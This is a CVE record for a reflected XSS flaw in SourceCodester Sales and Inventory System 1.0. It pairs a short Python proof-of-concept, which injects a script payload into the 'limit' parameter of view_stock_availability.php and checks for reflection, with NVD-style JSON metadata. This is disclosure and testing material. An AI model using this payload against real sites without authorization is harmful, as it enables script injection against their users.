CVE-2026-30569

import requests def check_xss_vulnerability(target_url): """ PoC for CVE-2026-30569: Reflected XSS in view_stock_availability.php """ # The vulnerable parameter is 'limit' payload = "<script>alert('CVE-2026-30569')</script>" # Construct the full URL with the payload params = { 'limit': payload } try: # Sending the GET request response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected unescaped in the response if payload in response.text: print(f"[+] Vulnerability confirmed at: {response.url}") print(f"[+] Payload was reflected in the response body.") else: print("[-] Vulnerability not detected or payload was sanitized.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL url = "http://target.com/view_stock_availability.php" check_xss_vulnerability(url)

{"cve": {"id": "CVE-2026-30569", "sourceIdentifier": "[email protected]", "published": "2026-03-27T17:16:28.483", "lastModified": "2026-04-06T14:16:24.923", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the view_stock_availability.php file via the \"limit\" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ahsanriaz26gmailcom:inventory_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "D4A61A9C-F969-4CD2-8A33-1A36DFFDEB8E"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-ViewStockAvailability-limit.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}